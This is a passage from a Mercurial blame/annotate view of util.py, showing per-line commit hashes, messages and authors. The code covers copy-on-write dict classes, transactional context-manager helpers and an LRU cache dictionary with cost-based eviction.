43106 d783f945a701 py3: finish porting iteritems() to pycompat and remove source transformer Gregory Szorc <gregory.szorc@gmail.com> parents: 43103 diff changeset	1266 src = pycompat.iteritems(src)
33624 524b13fc711f util: fix sortdict.update() to call __setitem__() on PyPy (issue5639) Yuya Nishihara <yuya@tcha.org> parents: 33549 diff changeset	1267 for k, v in src:
524b13fc711f util: fix sortdict.update() to call __setitem__() on PyPy (issue5639) Yuya Nishihara <yuya@tcha.org> parents: 33549 diff changeset	1268 self[k] = v
524b13fc711f util: fix sortdict.update() to call __setitem__() on PyPy (issue5639) Yuya Nishihara <yuya@tcha.org> parents: 33549 diff changeset	1269
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1270
34358 c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1271 class cowdict(cow, dict):
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1272 """copy-on-write dict
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1273
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1274 Be sure to call d = d.preparewrite() before writing to d.
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1275
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1276 >>> a = cowdict()
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1277 >>> a is a.preparewrite()
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1278 True
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1279 >>> b = a.copy()
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1280 >>> b is a
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1281 True
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1282 >>> c = b.copy()
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1283 >>> c is a
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1284 True
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1285 >>> a = a.preparewrite()
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1286 >>> b is a
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1287 False
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1288 >>> a is a.preparewrite()
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1289 True
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1290 >>> c = c.preparewrite()
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1291 >>> b is c
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1292 False
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1293 >>> b is b.preparewrite()
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1294 True
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1295 """
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1296
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1297
34358 c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1298 class cowsortdict(cow, sortdict):
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1299 """copy-on-write sortdict
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1300
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1301 Be sure to call d = d.preparewrite() before writing to d.
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1302 """
c41444a39de2 config: use copy-on-write to improve copy performance Jun Wu <quark@fb.com> parents: 34302 diff changeset	1303
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1304
43522 70d42e2ad9b4 pytype: don't warn us about ignored-on-py3 metaclasses Augie Fackler <augie@google.com> parents: 43117 diff changeset	1305 class transactional(object): # pytype: disable=ignored-metaclass
33814 bbbbd3c30bfc util: add base class for transactional context managers Martin von Zweigbergk <martinvonz@google.com> parents: 33763 diff changeset	1306 """Base class for making a transactional type into a context manager."""
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1307
33814 bbbbd3c30bfc util: add base class for transactional context managers Martin von Zweigbergk <martinvonz@google.com> parents: 33763 diff changeset	1308 __metaclass__ = abc.ABCMeta
bbbbd3c30bfc util: add base class for transactional context managers Martin von Zweigbergk <martinvonz@google.com> parents: 33763 diff changeset	1309
bbbbd3c30bfc util: add base class for transactional context managers Martin von Zweigbergk <martinvonz@google.com> parents: 33763 diff changeset	1310 @abc.abstractmethod
bbbbd3c30bfc util: add base class for transactional context managers Martin von Zweigbergk <martinvonz@google.com> parents: 33763 diff changeset	1311 def close(self):
bbbbd3c30bfc util: add base class for transactional context managers Martin von Zweigbergk <martinvonz@google.com> parents: 33763 diff changeset	1312 """Successfully closes the transaction."""
bbbbd3c30bfc util: add base class for transactional context managers Martin von Zweigbergk <martinvonz@google.com> parents: 33763 diff changeset	1313
bbbbd3c30bfc util: add base class for transactional context managers Martin von Zweigbergk <martinvonz@google.com> parents: 33763 diff changeset	1314 @abc.abstractmethod
bbbbd3c30bfc util: add base class for transactional context managers Martin von Zweigbergk <martinvonz@google.com> parents: 33763 diff changeset	1315 def release(self):
bbbbd3c30bfc util: add base class for transactional context managers Martin von Zweigbergk <martinvonz@google.com> parents: 33763 diff changeset	1316 """Marks the end of the transaction.
bbbbd3c30bfc util: add base class for transactional context managers Martin von Zweigbergk <martinvonz@google.com> parents: 33763 diff changeset	1317
bbbbd3c30bfc util: add base class for transactional context managers Martin von Zweigbergk <martinvonz@google.com> parents: 33763 diff changeset	1318 If the transaction has not been closed, it will be aborted.
bbbbd3c30bfc util: add base class for transactional context managers Martin von Zweigbergk <martinvonz@google.com> parents: 33763 diff changeset	1319 """
bbbbd3c30bfc util: add base class for transactional context managers Martin von Zweigbergk <martinvonz@google.com> parents: 33763 diff changeset	1320
bbbbd3c30bfc util: add base class for transactional context managers Martin von Zweigbergk <martinvonz@google.com> parents: 33763 diff changeset	1321 def __enter__(self):
bbbbd3c30bfc util: add base class for transactional context managers Martin von Zweigbergk <martinvonz@google.com> parents: 33763 diff changeset	1322 return self
bbbbd3c30bfc util: add base class for transactional context managers Martin von Zweigbergk <martinvonz@google.com> parents: 33763 diff changeset	1323
bbbbd3c30bfc util: add base class for transactional context managers Martin von Zweigbergk <martinvonz@google.com> parents: 33763 diff changeset	1324 def __exit__(self, exc_type, exc_val, exc_tb):
bbbbd3c30bfc util: add base class for transactional context managers Martin von Zweigbergk <martinvonz@google.com> parents: 33763 diff changeset	1325 try:
bbbbd3c30bfc util: add base class for transactional context managers Martin von Zweigbergk <martinvonz@google.com> parents: 33763 diff changeset	1326 if exc_type is None:
bbbbd3c30bfc util: add base class for transactional context managers Martin von Zweigbergk <martinvonz@google.com> parents: 33763 diff changeset	1327 self.close()
bbbbd3c30bfc util: add base class for transactional context managers Martin von Zweigbergk <martinvonz@google.com> parents: 33763 diff changeset	1328 finally:
bbbbd3c30bfc util: add base class for transactional context managers Martin von Zweigbergk <martinvonz@google.com> parents: 33763 diff changeset	1329 self.release()
bbbbd3c30bfc util: add base class for transactional context managers Martin von Zweigbergk <martinvonz@google.com> parents: 33763 diff changeset	1330
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1331
33446 fad6852cf879 histedit: extract InterventionRequired transaction handling to utils Martin von Zweigbergk <martinvonz@google.com> parents: 33439 diff changeset	1332 @contextlib.contextmanager
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils Martin von Zweigbergk <martinvonz@google.com> parents: 33439 diff changeset	1333 def acceptintervention(tr=None):
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils Martin von Zweigbergk <martinvonz@google.com> parents: 33439 diff changeset	1334 """A context manager that closes the transaction on InterventionRequired
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils Martin von Zweigbergk <martinvonz@google.com> parents: 33439 diff changeset	1335
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils Martin von Zweigbergk <martinvonz@google.com> parents: 33439 diff changeset	1336 If no transaction was provided, this simply runs the body and returns
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils Martin von Zweigbergk <martinvonz@google.com> parents: 33439 diff changeset	1337 """
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils Martin von Zweigbergk <martinvonz@google.com> parents: 33439 diff changeset	1338 if not tr:
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils Martin von Zweigbergk <martinvonz@google.com> parents: 33439 diff changeset	1339 yield
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils Martin von Zweigbergk <martinvonz@google.com> parents: 33439 diff changeset	1340 return
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils Martin von Zweigbergk <martinvonz@google.com> parents: 33439 diff changeset	1341 try:
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils Martin von Zweigbergk <martinvonz@google.com> parents: 33439 diff changeset	1342 yield
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils Martin von Zweigbergk <martinvonz@google.com> parents: 33439 diff changeset	1343 tr.close()
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils Martin von Zweigbergk <martinvonz@google.com> parents: 33439 diff changeset	1344 except error.InterventionRequired:
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils Martin von Zweigbergk <martinvonz@google.com> parents: 33439 diff changeset	1345 tr.close()
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils Martin von Zweigbergk <martinvonz@google.com> parents: 33439 diff changeset	1346 raise
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils Martin von Zweigbergk <martinvonz@google.com> parents: 33439 diff changeset	1347 finally:
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils Martin von Zweigbergk <martinvonz@google.com> parents: 33439 diff changeset	1348 tr.release()
fad6852cf879 histedit: extract InterventionRequired transaction handling to utils Martin von Zweigbergk <martinvonz@google.com> parents: 33439 diff changeset	1349
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1350
33691 609606d21765 rebase: use one dirstateguard for when using rebase.singletransaction Durham Goode <durham@fb.com> parents: 33549 diff changeset	1351 @contextlib.contextmanager
609606d21765 rebase: use one dirstateguard for when using rebase.singletransaction Durham Goode <durham@fb.com> parents: 33549 diff changeset	1352 def nullcontextmanager():
609606d21765 rebase: use one dirstateguard for when using rebase.singletransaction Durham Goode <durham@fb.com> parents: 33549 diff changeset	1353 yield
609606d21765 rebase: use one dirstateguard for when using rebase.singletransaction Durham Goode <durham@fb.com> parents: 33549 diff changeset	1354
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1355
27371 45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1356 class _lrucachenode(object):
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1357 """A node in a doubly linked list.
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1358
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1359 Holds a reference to nodes on either side as well as a key-value
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1360 pair for the dictionary entry.
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1361 """
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1362
43554 9f70512ae2cf cleanup: remove pointless r-prefixes on single-quoted strings Augie Fackler <augie@google.com> parents: 43542 diff changeset	1363 __slots__ = ('next', 'prev', 'key', 'value', 'cost')
27371 45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1364
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1365 def __init__(self):
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1366 self.next = None
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1367 self.prev = None
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1368
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1369 self.key = _notset
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1370 self.value = None
39583 ee087f0d7db5 util: allow lrucachedict to track cost of entries Gregory Szorc <gregory.szorc@gmail.com> parents: 39582 diff changeset	1371 self.cost = 0
27371 45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1372
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1373 def markempty(self):
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1374 """Mark the node as emptied."""
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1375 self.key = _notset
39583 ee087f0d7db5 util: allow lrucachedict to track cost of entries Gregory Szorc <gregory.szorc@gmail.com> parents: 39582 diff changeset	1376 self.value = None
ee087f0d7db5 util: allow lrucachedict to track cost of entries Gregory Szorc <gregory.szorc@gmail.com> parents: 39582 diff changeset	1377 self.cost = 0
27371 45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1378
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1379
18603 2251b3184e6e util: add an LRU cache dict Siddharth Agarwal <sid0@fb.com> parents: 18537 diff changeset	1380 class lrucachedict(object):
27371 45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1381 """Dict that caches most recent accesses and sets.
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1382
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1383 The dict consists of an actual backing dict - indexed by original
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1384 key - and a doubly linked circular list defining the order of entries in
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1385 the cache.
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1386
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1387 The head node is the newest entry in the cache. If the cache is full,
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1388 we recycle head.prev and make it the new head. Cache accesses result in
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1389 the node being moved to before the existing head and being marked as the
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1390 new head node.
39583 ee087f0d7db5 util: allow lrucachedict to track cost of entries Gregory Szorc <gregory.szorc@gmail.com> parents: 39582 diff changeset	1391
ee087f0d7db5 util: allow lrucachedict to track cost of entries Gregory Szorc <gregory.szorc@gmail.com> parents: 39582 diff changeset	1392 Items in the cache can be inserted with an optional "cost" value. This is
ee087f0d7db5 util: allow lrucachedict to track cost of entries Gregory Szorc <gregory.szorc@gmail.com> parents: 39582 diff changeset	1393 simply an integer that is specified by the caller. The cache can be queried
ee087f0d7db5 util: allow lrucachedict to track cost of entries Gregory Szorc <gregory.szorc@gmail.com> parents: 39582 diff changeset	1394 for the total cost of all items presently in the cache.
39584 842cd0bdda75 util: teach lrucachedict to enforce a max total cost Gregory Szorc <gregory.szorc@gmail.com> parents: 39583 diff changeset	1395
842cd0bdda75 util: teach lrucachedict to enforce a max total cost Gregory Szorc <gregory.szorc@gmail.com> parents: 39583 diff changeset	1396 The cache can also define a maximum cost. If a cache insertion would
842cd0bdda75 util: teach lrucachedict to enforce a max total cost Gregory Szorc <gregory.szorc@gmail.com> parents: 39583 diff changeset	1397 cause the total cost of the cache to go beyond the maximum cost limit,
842cd0bdda75 util: teach lrucachedict to enforce a max total cost Gregory Szorc <gregory.szorc@gmail.com> parents: 39583 diff changeset	1398 nodes will be evicted to make room for the new code. This can be used
842cd0bdda75 util: teach lrucachedict to enforce a max total cost Gregory Szorc <gregory.szorc@gmail.com> parents: 39583 diff changeset	1399 to e.g. set a max memory limit and associate an estimated bytes size
842cd0bdda75 util: teach lrucachedict to enforce a max total cost Gregory Szorc <gregory.szorc@gmail.com> parents: 39583 diff changeset	1400 cost to each item in the cache. By default, no maximum cost is enforced.
27371 45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1401 """
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	1402
39584 842cd0bdda75 util: teach lrucachedict to enforce a max total cost Gregory Szorc <gregory.szorc@gmail.com> parents: 39583 diff changeset	1403 def __init__(self, max, maxcost=0):
18603 2251b3184e6e util: add an LRU cache dict Siddharth Agarwal <sid0@fb.com> parents: 18537 diff changeset	1404 self._cache = {}
27371 45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1405
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1406 self._head = head = _lrucachenode()
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1407 head.prev = head
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1408 head.next = head
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1409 self._size = 1
39580 5d75a3c16193 util: make capacity a public attribute on lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 39579 diff changeset	1410 self.capacity = max
39583 ee087f0d7db5 util: allow lrucachedict to track cost of entries Gregory Szorc <gregory.szorc@gmail.com> parents: 39582 diff changeset	1411 self.totalcost = 0
39584 842cd0bdda75 util: teach lrucachedict to enforce a max total cost Gregory Szorc <gregory.szorc@gmail.com> parents: 39583 diff changeset	1412 self.maxcost = maxcost
27371 45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1413
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1414 def __len__(self):
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1415 return len(self._cache)
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1416
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1417 def __contains__(self, k):
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1418 return k in self._cache
18603 2251b3184e6e util: add an LRU cache dict Siddharth Agarwal <sid0@fb.com> parents: 18537 diff changeset	1419
27371 45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1420 def __iter__(self):
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1421 # We don't have to iterate in cache order, but why not.
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1422 n = self._head
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1423 for i in range(len(self._cache)):
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1424 yield n.key
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1425 n = n.next
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1426
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1427 def __getitem__(self, k):
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1428 node = self._cache[k]
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1429 self._movetohead(node)
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1430 return node.value
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1431
39583 ee087f0d7db5 util: allow lrucachedict to track cost of entries Gregory Szorc <gregory.szorc@gmail.com> parents: 39582 diff changeset	1432 def insert(self, k, v, cost=0):
ee087f0d7db5 util: allow lrucachedict to track cost of entries Gregory Szorc <gregory.szorc@gmail.com> parents: 39582 diff changeset	1433 """Insert a new item in the cache with optional cost value."""
27371 45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1434 node = self._cache.get(k)
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1435 # Replace existing value and mark as newest.
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1436 if node is not None:
39583 ee087f0d7db5 util: allow lrucachedict to track cost of entries Gregory Szorc <gregory.szorc@gmail.com> parents: 39582 diff changeset	1437 self.totalcost -= node.cost
27371 45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1438 node.value = v
39583 ee087f0d7db5 util: allow lrucachedict to track cost of entries Gregory Szorc <gregory.szorc@gmail.com> parents: 39582 diff changeset	1439 node.cost = cost
ee087f0d7db5 util: allow lrucachedict to track cost of entries Gregory Szorc <gregory.szorc@gmail.com> parents: 39582 diff changeset	1440 self.totalcost += cost
27371 45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1441 self._movetohead(node)
39584 842cd0bdda75 util: teach lrucachedict to enforce a max total cost Gregory Szorc <gregory.szorc@gmail.com> parents: 39583 diff changeset	1442
842cd0bdda75 util: teach lrucachedict to enforce a max total cost Gregory Szorc <gregory.szorc@gmail.com> parents: 39583 diff changeset	1443 if self.maxcost:
842cd0bdda75 util: teach lrucachedict to enforce a max total cost Gregory Szorc <gregory.szorc@gmail.com> parents: 39583 diff changeset	1444 self._enforcecostlimit()
842cd0bdda75 util: teach lrucachedict to enforce a max total cost Gregory Szorc <gregory.szorc@gmail.com> parents: 39583 diff changeset	1445
27371 45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1446 return
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1447
39580 5d75a3c16193 util: make capacity a public attribute on lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 39579 diff changeset	1448 if self._size < self.capacity:
27371 45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1449 node = self._addcapacity()
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1450 else:
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1451 # Grab the last/oldest item.
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1452 node = self._head.prev
18603 2251b3184e6e util: add an LRU cache dict Siddharth Agarwal <sid0@fb.com> parents: 18537 diff changeset	1453
27371 45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1454 # At capacity. Kill the old entry.
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1455 if node.key is not _notset:
39583 ee087f0d7db5 util: allow lrucachedict to track cost of entries Gregory Szorc <gregory.szorc@gmail.com> parents: 39582 diff changeset	1456 self.totalcost -= node.cost
27371 45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1457 del self._cache[node.key]
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1458
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1459 node.key = k
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1460 node.value = v
39583 ee087f0d7db5 util: allow lrucachedict to track cost of entries Gregory Szorc <gregory.szorc@gmail.com> parents: 39582 diff changeset	1461 node.cost = cost
ee087f0d7db5 util: allow lrucachedict to track cost of entries Gregory Szorc <gregory.szorc@gmail.com> parents: 39582 diff changeset	1462 self.totalcost += cost
27371 45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1463 self._cache[k] = node
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1464 # And mark it as newest entry. No need to adjust order since it
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1465 # is already self._head.prev.
45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1466 self._head = node
18603 2251b3184e6e util: add an LRU cache dict Siddharth Agarwal <sid0@fb.com> parents: 18537 diff changeset	1467
39584 842cd0bdda75 util: teach lrucachedict to enforce a max total cost Gregory Szorc <gregory.szorc@gmail.com> parents: 39583 diff changeset	1468 if self.maxcost:
842cd0bdda75 util: teach lrucachedict to enforce a max total cost Gregory Szorc <gregory.szorc@gmail.com> parents: 39583 diff changeset	1469 self._enforcecostlimit()
842cd0bdda75 util: teach lrucachedict to enforce a max total cost Gregory Szorc <gregory.szorc@gmail.com> parents: 39583 diff changeset	1470
39583 ee087f0d7db5 util: allow lrucachedict to track cost of entries Gregory Szorc <gregory.szorc@gmail.com> parents: 39582 diff changeset	1471 def __setitem__(self, k, v):
ee087f0d7db5 util: allow lrucachedict to track cost of entries Gregory Szorc <gregory.szorc@gmail.com> parents: 39582 diff changeset	1472 self.insert(k, v)
ee087f0d7db5 util: allow lrucachedict to track cost of entries Gregory Szorc <gregory.szorc@gmail.com> parents: 39582 diff changeset	1473
27371 45d996a566d7 util: reimplement lrucachedict Gregory Szorc <gregory.szorc@gmail.com> parents: 27363 diff changeset	1474 def __delitem__(self, k):
40898 7cda0cacbbf6 util: implement pop() on lrucachedict Yuya Nishihara <yuya@tcha.org> parents: 40897 diff changeset	1475 self.pop(k)
7cda0cacbbf6 util: implement pop() on lrucachedict Yuya Nishihara <yuya@tcha.org> parents: 40897 diff changeset	1476
7cda0cacbbf6 util: implement pop() on lrucachedict Yuya Nishihara <yuya@tcha.org> parents: 40897 diff changeset	1477 def pop(self, k, default=_notset):
7cda0cacbbf6 util: implement pop() on lrucachedict Yuya Nishihara <yuya@tcha.org> parents: 40897 diff changeset	1478 try:
7cda0cacbbf6 util: implement pop() on lrucachedict Yuya Nishihara <yuya@tcha.org> parents: 40897 diff changeset	1479 node = self._cache.pop(k)
7cda0cacbbf6 util: implement pop() on lrucachedict Yuya Nishihara <yuya@tcha.org> parents: 40897 diff changeset	1480 except KeyError:
